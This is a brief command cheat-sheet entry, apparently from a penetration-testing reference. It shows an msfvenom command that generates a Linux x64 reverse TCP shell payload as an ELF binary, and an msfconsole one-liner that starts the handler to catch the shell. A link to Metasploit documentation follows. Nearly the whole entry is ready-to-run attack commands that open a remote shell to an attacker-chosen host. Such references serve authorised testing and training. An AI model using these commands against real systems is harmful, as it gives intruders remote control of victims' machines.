msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o shell.elf msfconsole -x 'use exploit/multi/handler;set payload linux/x64/shell_reverse_tcp;set LHOST $LHOST;set LPORT $LPORT;run;'

Generate a reverse shell payload with msfvenom and start its matching handler, by target.

Command: Linux

References:

https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html